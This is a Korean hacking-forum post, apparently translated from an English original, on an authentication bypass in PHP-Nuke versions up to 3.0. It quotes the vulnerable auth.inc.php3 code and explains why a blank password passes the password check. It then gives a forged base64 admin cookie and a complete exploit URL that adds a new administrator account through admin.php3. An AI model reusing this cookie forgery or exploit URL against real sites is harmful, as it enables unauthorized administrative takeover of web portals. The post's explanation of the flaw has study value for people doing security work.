PHP-NUKE 의 취약점 및 보안
ScFturbo입니다. 일단 이 문서는 Fabian Clone가 쓴 문서를 토대로 번역
및 보충설명을 한것입니다.
PHP-NUKE에 대한 간단한 설명과 취약점과 공격법에 대해서 말하겠습니다.
PHP-NUKE는 웹 포탈 및 온라인 커뮤니티 시스템이다.
기능은 웹 기반의 관리, 서베이, 접근 통계, 사용자 맞춤식 박스, 등록된
사용자를 위한
테마 매니저, 사용자 친화적인 관리 GUI, 스토리 편집또는 삭제 옵션, 코
멘트 삭제기능,
통합 배너 광고 시스템, 검색 엔진, 지난 기사및 헤드라인 생성, Yahoo와
같은 웹 디렉토리,
12개국 언어지원등이 있습니다.
그리고 PHP-NUKE는 공개된 소스(open source)이다.
일반적으로 http://linuxperview.org/php-nuke.php3?op=english 에서 구할
수있다.
PHP-Nuke의 보안과 공격에 대해서 말하게 된계기는 PHP-NUKE로 운영되는
어떤 뉴스싸이트에
있는 관리 패키지에 공격자가 리모트로 그 어플리케이션에 관리자모드로
억세스가 가능하였기
때문에 취약점과 공격법에 대해서 알아볼것입니다.
영향을받는 버전은 거의 모든 버전이고 현제 php-nuke 3.0까지 나왔고
그 이하버전은 모든버전이
취약하고 공격을 받을수있다.
제가 정보들은 php-nuke 2.5가 최신이라고 하였는데 문서를 보고있는중에
보니 php-nuke 3.0이
나왔다. 물론 php-nuke 3.0이 나온후에 버그나 나왔기때문에 3.0도 취약하
다고 볼수있다.
이제 부터 본론으로 들어가겠다.
일단 어떻게 PHP-Nuke의 관리계정의 권한을 볼수있는지 알아봅니다.
auth.inc.php3 화일안에 내용중에 일부::
$admintest = 0;
if(isset($admin)) {
if(!IsSet($mainfile)) { include("mainfile.php3"); }
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
dbconnect();
$result=mysql_query("select pwd from authors where aid='$aid'");
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=mysql_fetch_row($result);
if($pass == $pwd) {
$admintest = 1;
}
}
}
일단 여기서는 $admin의 중요하면서 취약하다는것을 알아수있어야한다.
그러나 여기서 이것 하나로는 별로 중요하지않다
또, 다른 하나의 취약점을 알아보자
(GET/POST)에서 나온 방대한 쿠키값을 자동으로 PHP script로 만들것이다.
그것은 $admin 에 대한 값을 url에 넣어서 사용할수있다. 만약에 $pwd 맞
지않는다면
그 패스워드와 유사한값을 가지고 오거나 잘못된 권한 ($admintest = 0)
이 돌아올것
이다.
그리고 우리는 admin.php3에 접근할수있을것다.
위에서 말한 간단한설명을 생각하면서 계속해서 exploit 에 대해서읽어보
자.
Exploit
$pass == $pwd 와 같이 만드는것은 단순한이론이다.
그 이론에 대해서 알아보자
우선 mysql_fetch_row()에서 $pass값이 다시 돌아와 아무것도 할수없다는
것을
우리는 알수있고, 또 만약 그열에 아무것도 없다해서 오류가나면 만들수
없을것이다.
그럼 어떻게 $pwd(문자)나 $pass(숫자)를 만들수있을까? 둘다 만들수없을
것인가?
아니다 완벽하게 만들수있을것이다.
이런식으로 하면 값을 비교하면 "if($pass == $pwd)" 될까?
아니다 이것은 잘못된 형식이므로 되질않는다.
$pass에 대한값을 동일하지도 않음에도 불구하고 동일하게 오류값을 줘서
할수있다.
예)$pwd = "" (null) 라고 설정 (패스워드 값은 널이다. 없다)
이렇게 우리는 단순하게 다른값을 데이타베이스와 $aid에 넣을수 있다.
mysql_query()와 mysql_fetch_row() 오류만들어서 올바른값 줄수있다.
이런 기술에대해서 예를 들어보겠다.
$admin value:
$aid = "blabla"; $pwd = "";
$admin = base64_encode("$aid:$pwd");
우리는 이렇게 해서 "YmxhYmxhOg=="를 얻을수있다. 우리는 이것을 이용해
서 가능한한 모든것에
접근할수있다.
또, admin.php3의 기능을 이용해서 일정한 URL코드에 있는것들의 내용을
이용해서 계정을 등록
할수도 있을것이다.
url 코드 (익스플로잇)
http://site//admin.php3?admin=YmxhYmxhOg%3D%3D&op=AddAuthor&add_aid
=godbless&add_name=
Godbless&add_pwd=indonesia&add_url=&add_email=fake@mail.me
"godbless:indonesia" 는 데이타베이스 안에 들어가있을것이다.
이제 godbless:indonesia를 이용해서 옵션, 관리자메뉴, 사용자수정, 문화
예술에 관한것들 그리고 베너, 권한그리고 기타등등
을 볼수있을것이고, 모든 어드민관련작업을 할수있을것입니다.
----------------------------
번역및 보충설명
ScFturbo
e-mail : scfturbo@orgio.net
http://wowhacker.com
----------------------------
원문
fabianclone
fabianclone@usa.net
----------------------------

운영자
01-03-09 16:54
0개
4,230회
PHP-NUKE 의 취약점 및 보안
댓글목록
등록된 댓글이 없습니다.